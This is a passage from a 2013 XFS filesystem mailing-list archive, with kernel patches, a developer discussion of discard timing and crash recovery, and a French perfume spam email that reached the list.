+static inline struct xfs_log_item * +xfs_ail_max( + struct xfs_ail *ailp) +{ + return list_empty(&ailp->xa_ail) ? NULL : + list_last_entry(&ailp->xa_ail, struct xfs_log_item, li_ail); +} + + static inline void xfs_trans_ail_update( struct xfs_ail *ailp, -- 1.8.3.2 From jeff.liu@oracle.com Tue Dec 24 06:48:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E24737F92 for ; Tue, 24 Dec 2013 06:48:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B5BAE8F8040 for ; Tue, 24 Dec 2013 04:48:53 -0800 (PST) X-ASG-Debug-ID: 1387889332-04bdf00fe0204810001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id SZWel2eChryLk91E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 04:48:52 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBOCmpMD021613 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Dec 2013 12:48:51 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmojA029572 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Dec 2013 12:48:50 GMT Received: from ubhmt108.oracle.com (ubhmt108.oracle.com [156.151.24.13]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBOCmoVL029564 for ; Tue, 24 Dec 2013 12:48:50 GMT Received: from [192.168.1.105] (/123.119.102.19) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Dec 2013 04:48:50 -0800 Message-ID: <52B982AF.2060607@oracle.com> Date: Tue, 24 Dec 2013 20:48:47 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 4/4] xfs: rename mem_to_page to xfs_bufmem_to_page Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387889332 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143356 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Rename mem_to_page() to xfs_bufmem_to_page() for XFS convention. Signed-off-by: Jie Liu --- fs/xfs/xfs_buf.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 544315e..286ddbe 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -732,8 +732,8 @@ xfs_buf_set_empty( } static inline struct page * -mem_to_page( - void *addr) +xfs_bufmem_to_page( + void *addr) { if ((!is_vmalloc_addr(addr))) { return virt_to_page(addr); @@ -774,7 +774,7 @@ xfs_buf_associate_memory( bp->b_offset = offset; for (i = 0; i < bp->b_page_count; i++) { - bp->b_pages[i] = mem_to_page((void *)pageaddr); + bp->b_pages[i] = xfs_bufmem_to_page((void *)pageaddr); pageaddr += PAGE_SIZE; } -- 1.8.3.2 From alex@zadarastorage.com Tue Dec 24 12:21:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DA0687F9B for ; Tue, 24 Dec 2013 12:21:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E9C8304043 for ; Tue, 24 Dec 2013 10:21:54 -0800 (PST) X-ASG-Debug-ID: 1387909311-04bdf00fde219eb0001-NocioJ Received: from mail-ea0-f179.google.com (mail-ea0-f179.google.com [209.85.215.179]) by cuda.sgi.com with ESMTP id pwHdTkfSZsob1uS7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 24 Dec 2013 10:21:52 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 209.85.215.179 Received: by mail-ea0-f179.google.com with SMTP id r15so3006802ead.24 for ; Tue, 24 Dec 2013 10:21:51 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; bh=YG7vxTt/z93+E2y/AWZad5nscmm7YFFdVfcjtPWydf8=; b=TloxI7unP3JmSwFPSBE1u0Y734DXMHqlCSxgMVckRGrIwhfwWRZpoPFgAhpQvt6gmk AlkGKhQsRi2O3BNiK1U1wBImb8HoGmx7R0fz/1CxzhOAVwBNN9Pbzc13YfVPkcCmoP4/ dsWwf9MnsyESdsSiwjB6NLl8x2Y59ZhX40e5d6PrxCsYPMvJyNGScJigfDtI1RaPBe7M u4TbPzTIf64mj3ZNZ+BvQEnqptrZxgYlORlSCBYLtrc/CctPeZZ934aZKouEs3M46mfn ZOZfa+L+rXvJsf5ZOP0UQ+6tyuIApM1UbZrmIpbt1kqjz/kBXEsxw2M6y5NOWmxGgP1I GvzQ== X-Gm-Message-State: ALoCoQmbE2h/jzo7CF1PTQVDGSaH4ffQ8v2St9IsiO2C/PPpuJ1JWq0KGp5QGjUkKxEUOYXDTBy/ X-Received: by 10.14.199.1 with SMTP id w1mr29170804een.29.1387909311625; Tue, 24 Dec 2013 10:21:51 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id e43sm57110424eep.7.2013.12.24.10.21.50 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 24 Dec 2013 10:21:50 -0800 (PST) Message-ID: <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> From: "Alex Lyakas" To: "Dave Chinner" Cc: References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> In-Reply-To: <20131219105513.GZ31386@dastard> Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Date: Tue, 24 Dec 2013 20:21:50 +0200 X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ea0-f179.google.com[209.85.215.179] X-Barracuda-Start-Time: 1387909312 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143365 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hi Dave, Reading through the code some more, I see that the extent that is freed through xfs_free_extent() can be an XFS metadata extent as well. For example, xfs_inobt_free_block() frees a block of the AG's free-inode btree. Also, xfs_bmbt_free_block() frees a generic btree block by putting it onto the cursor's "to-be-freed" list, which will be dropped into the free-space btree (by xfs_free_extent) in xfs_bmap_finish(). If we discard such metadata block before the transaction is committed to the log and we crash, we might not be able to properly mount after reboot, is that right? I mean it's not that some file's data block will show 0s to the user instead of before-delete data, but some XFS btree node (for example) will be wiped in such case. Can this happen? Thanks, Alex. -----Original Message----- From: Dave Chinner Sent: 19 December, 2013 12:55 PM To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) On Thu, Dec 19, 2013 at 11:24:15AM +0200, Alex Lyakas wrote: > Hi Dave, > Thank you for your comments. > I realize now that what I proposed cannot be done; I need to > understand deeper how XFS transactions work (unfortunately, the > awesome "XFS Filesystem Structure" doc has a TODO in the "Journaling > Log" section). > > Can you please comment on one more question: > Let's say we had such fully asynchronous "fire-and-forget" discard > operation (I can implement one myself for my block-device via a > custom IOCTL). What is wrong if we trigger such operation in > xfs_free_ag_extent(), right after we have merged the freed extent > into a bigger one? I understand that the extent-free-intent is not > yet committed to the log at this point. But from the user's point of > view, the extent has been deleted, no? So if the underlying block > device discards the merged extent right away, before committing to > the log, what issues this can cause? Think of what happens when a crash occurs immediately after the discard completes. The freeing of the extent never made it to th elog, so after recovery, the file still exists and the user can access it. Except that it's contents are now all different to before the crash occurred. IOWs, issuing the discard before the transaction that frees the extent is on stable storage means we are discarding user data or metadata before we've guaranteed that the extent free transaction is permanent and that means we violate certain guarantees with respect to crash recovery... Cheers, Dave. -- Dave Chinner david@fromorbit.com From pam=news-zetrend.com@mlgnusa.com Tue Dec 24 21:55:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DDC127F89 for ; Tue, 24 Dec 2013 21:55:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8881CAC001 for ; Tue, 24 Dec 2013 19:55:17 -0800 (PST) X-ASG-Debug-ID: 1387943707-04bdf00fdf22edd0001-NocioJ Received: from mail6.mlgnusa.com (mail6.mlgnusa.com [194.19.244.213]) by cuda.sgi.com with ESMTP id PU4GZznwlxu8LQ85 for ; Tue, 24 Dec 2013 19:55:08 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.213 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=enSR4jWcmL0mAxQjbsYgokOyRfk=; b=MV/c22Iu8duZt8E/gBkMel9rkimP96DMw1bJIWq53nUp4bbysYCDC2yI/k03qk5oAzu8L1KE8yqm via10fz8OFDOdoaaZmFm3cCTERD7LU0SVEOhFkMnvO21fpaSFSA4aOcyMJoD3ukfGyOw3pNcOCqb HRwFyekKVcReMZBQ9Uk= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=NBpFm1wLyFGI8SP7Yp6JpP/lc2bXdW6y97QWusm6rjV63iGg/HujEG+uBEut4sXFNUHY8Le+Kirs j0Wl67xlnw6JptClIryf7T9eqW2wmIC/WQFbOkThevuzT8b+UXGYuPRKuEENFmpZhi8rvQSY0LbU 5BV+kL/bWu6/DONBeNM=; Received: by mail6.mlgnusa.com id hn9bhq1fblcj for ; Wed, 25 Dec 2013 05:55:06 +0200 (envelope-from ) Date: Wed, 25 Dec 2013 04:17:36 +0200 To: From: Parfums Moins Cher par Zetrend Reply-To: Parfums Moins Cher par Zetrend Subject: =?utf-8?Q?Parfums_de_grande_marque_jusqu'=C3=A0_-_60%?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?Parfums_de_grande_marque_jusqu'=C3=A0_-_60%?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDaf6896e6d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.af6896e6 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.af6896e6 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=af6896e6&e=d09c0023 List-Unsubscribe: , Sender: "Parfums Moins Cher par Zetrend" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_f9cd25ac9a02ad8ff8e18e4af5c7aa7f" X-Barracuda-Connect: mail6.mlgnusa.com[194.19.244.213] X-Barracuda-Start-Time: 1387943708 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_06, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143377 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --b1_f9cd25ac9a02ad8ff8e18e4af5c7aa7f Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit ParfumsMoinsCher.com - Des remises exceptionnelles : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A16777275&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=3eed603a8d4de85174bc70b1712f7a90 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A33554491&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F3-homme%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=22c7daac631f464bf04c5f667eeb35e6 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A50331707&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F2-femme%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=8d9d676dcd7fa10a1cc4d7f68886d9a4 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A67108923&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F7-enfant%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=5da85b7880a236ad9b2402f9c40869ed : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A83886139&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcategory_testeur.php%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=f33b14d22947781b0e3774b0600b0283 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A100663355&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fmanufacturer.php%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=bb3587dd12e9eb2efc642007d090b438 Chers clients, Noël approche ! Venez retrouver les meilleurs coffrets cadeaux pour faire plaisir à vos proches. Des parfums de grandes marques : Jean Paul Gaultier, Calvin Klein, Cartier, Paco Rabanne, Guy Laroche, Giorgio Beverly Hills, Thierry Mugler, Chloé… avec des remises jusqu'à -60%. A très bientôt sur ParfumsMoinsCher.com: http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A117440571&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=bd12ecf0c23a6edec38d384cad9917ce. : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A134217787&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F15074-le-.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=7da68dc30e4a3a8956c56448660c34c1 LES MEILLEURS COFFRETS FEMME : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A150995003&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F2684-cabotine-by-parfums-gres-gift-set----100-ml-eau-de-toilette-spray--67-oz-body-lotion-for-women-for-women.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=fcff57652bf19ebdcbda0503cfb8d354 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A167772219&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F3261-chloe-by-chloe-gift-set----90-ml-eau-de-toilette-spray--200-ml-body-lotion-for-women-for-women.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=c0a7e03bb122d333327c533e4433d355 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A184549435&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F13766-womanity.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=e710569f4015de11f924ddd50ee9d016 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A201326651&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fproduit%2F17860-giorgio.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=a506a0c1a2422e010488b763bf50fb95 COFFRET CABOTINE Quelques fois espiègle, souvent enjouée, elle est dynamique, insolente, désinvolte, un brin provocante. À partir de 31,49€ COFFRET CHLOE Conçu par Karl Lagerfeld, ce coffret cadeaux contient un parfum luxueux aux notes fleuries. À partir de 34,99€ COFFRET WOMANITY Un parfum musical qui joue ses notes sur les émotions de celle qui le porte. À partir de 60,99€ COFFRET GIORGIO Un parfum emblématique, un signe de reconnaissance autant qu'un parfum de réussite. À partir de 37,99€ LES MEILLEURS COFFRETS HOMME : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A218103867&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F2267-gift-set----100-ml-eau-de-toilette-spray--100-ml-after-shave-balm--75-ml-deodorant-stick-for-men-for-men.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=8bb3843616ff4d5cd1b2741331c023ea : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A234881083&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F9397-paco-rabanne-de-paco-rabanne-coffret-cadeau.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=938d7e6d842716698d494d091b56b8a3 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A251658299&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F15926-ck-one-shock-for-him.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=bfcdf6696d138b4bb9be3e45a39a3daa : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A268435515&urlrv=https%3A%2F%2Fwww.parfumsmoinscher.com%2Fcadeaux%2F8974-declaration-by-cartier-for-men.html%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=7e435b1b34d5f4919f4bedd45b318ed5 COFFRET DRAKKAR NOIR L'homme Drakkar Noir est par essence un homme de force. Insolent, c'est aussi un charmeur qui peut compter sur sa séduction naturelle. À partir de 64,99€ COFFRET PACO RABANNE La première fougère aromatique, un jus puissant et viril qui incarne l'audace, le style et le charisme de l'éternel séducteur. À partir de 43,99€ COFFRET CK ONE SHOCK Un parfum oriental, un jus pétillant qui allie l'énergie et la douceur des épices orientales au feuilles de tabac pour un sillage très masculin. À partir de 38,99€ COFFRET DECLARATION Un message d'épices et de bois qui se place en résonance avec l'effervescence débridée de la cardamome. À partir de 76,99€ : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A285212731&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F56_yves-saint-laurent%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=4a3a5c3a453199e8d671796ac600aa97 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A301989947&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F40_guerlain%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=7b01aeb145c713d58cb558406c6bd1fa : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A318767163&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F114_nina-ricci%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=708f4b11ad2548aaa17928ae7fa48f6a : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A335544379&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F31_givenchy%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=3012200904a034523d6259d5a33fab73 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A352321595&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F206_lolita-lempicka%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=b9b6893fa17fcd240f39ad494009545c : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A369098811&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F46_clinique%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=e65675fa257a434d0a9ab74c3b4c6b36 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A385876027&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F218_paloma-picasso%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=c56f0bdda0bd621f98740d5f5687cd03 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A402653243&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F193_kenzo%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=10cbe7ba88ad7a718e8b950638e10df5 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A419430459&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F50_lancome%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=117e3c0feb833eed3fa39c5ebf98a410 : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A436207675&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F12_rochas%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=26ffdce3f04217600a79a8076417593e : http://action.metaffiliation.com/trk.php?mclic=P4642355403B1A452984891&urlrv=http%3A%2F%2Fwww.parfumsmoinscher.com%2F%3Futm_source%3Dnewsletter%26utm_medium%3De-mail%26utm_campaign%3Dnewsletter-netaffiliation-coffrets-noel&urlv=3eed603a8d4de85174bc70b1712f7a90 /* */ À votre carnet d'adresses. © 2010 Tous droits réservés par ParfumMoinsCher.com ========================================== Ce courriel a été envoyé par Parfums Moins Cher par Zetrend à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=af6896e6&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=af6896e6&ln=fr --b1_f9cd25ac9a02ad8ff8e18e4af5c7aa7f Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit ParfumsMoinsCher.com - Des remises exceptionnelles
    Noël approche, évitez le stress des magasins !
    Parfum Homme Parfum Femme Parfum Enfant Testeur Marques
    Livraison
    Chers clients,

    Noël approche ! Venez retrouver les meilleurs coffrets cadeaux pour faire plaisir à vos proches.

    Des parfums de grandes marques : Jean Paul Gaultier, Calvin Klein, Cartier, Paco Rabanne, Guy Laroche, Giorgio Beverly Hills, Thierry Mugler, Chloé… avec des remises jusqu'à -60%.

    A très bientôt sur ParfumsMoinsCher.com.
    LE MALE
    LES MEILLEURS COFFRETS FEMME
    CABOTINE CHLOE WOMANITY GIORGIO
    COFFRET CABOTINE

    Quelques fois espiègle, souvent enjouée, elle est dynamique, insolente, désinvolte, un brin provocante.

    À partir de 31,49€
    COFFRET CHLOE

    Conçu par Karl Lagerfeld, ce coffret cadeaux contient un parfum luxueux aux notes fleuries.

    À partir de 34,99€
    COFFRET WOMANITY

    Un parfum musical qui joue ses notes sur les émotions de celle qui le porte.

    À partir de 60,99€
    COFFRET GIORGIO

    Un parfum emblématique, un signe de reconnaissance autant qu'un parfum de réussite.

    À partir de 37,99€
    LES MEILLEURS COFFRETS HOMME
    DRAKKAR NOIR PACO RABANNE CK ONE SHOCK DECLARATION BY CARTIER
    COFFRET DRAKKAR NOIR

    L'homme Drakkar Noir est par essence un homme de force. Insolent, c'est aussi un charmeur qui peut compter sur sa séduction naturelle.

    À partir de 64,99€
    COFFRET PACO RABANNE

    La première fougère aromatique, un jus puissant et viril qui incarne l'audace, le style et le charisme de l'éternel séducteur.

    À partir de 43,99€
    COFFRET CK ONE SHOCK

    Un parfum oriental, un jus pétillant qui allie l'énergie et la douceur des épices orientales au feuilles de tabac pour un sillage très masculin.

    À partir de 38,99€
    COFFRET DECLARATION

    Un message d'épices et de bois qui se place en résonance avec l'effervescence débridée de la cardamome.

    À partir de 76,99€
    Livraison
    Yves Saint Laurent Guerlain Nina Ricci Givenchy Lolita Lempicka
    Clinique Paloma Picasso Kenzo Lancôme Rochas
    Les services ParfumsMoinsCher.com

    /* */ À votre carnet d'adresses. © 2010 Tous droits réservés par ParfumMoinsCher.com

    Ce courriel a été envoyé par Parfums Moins Cher par Zetrend à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
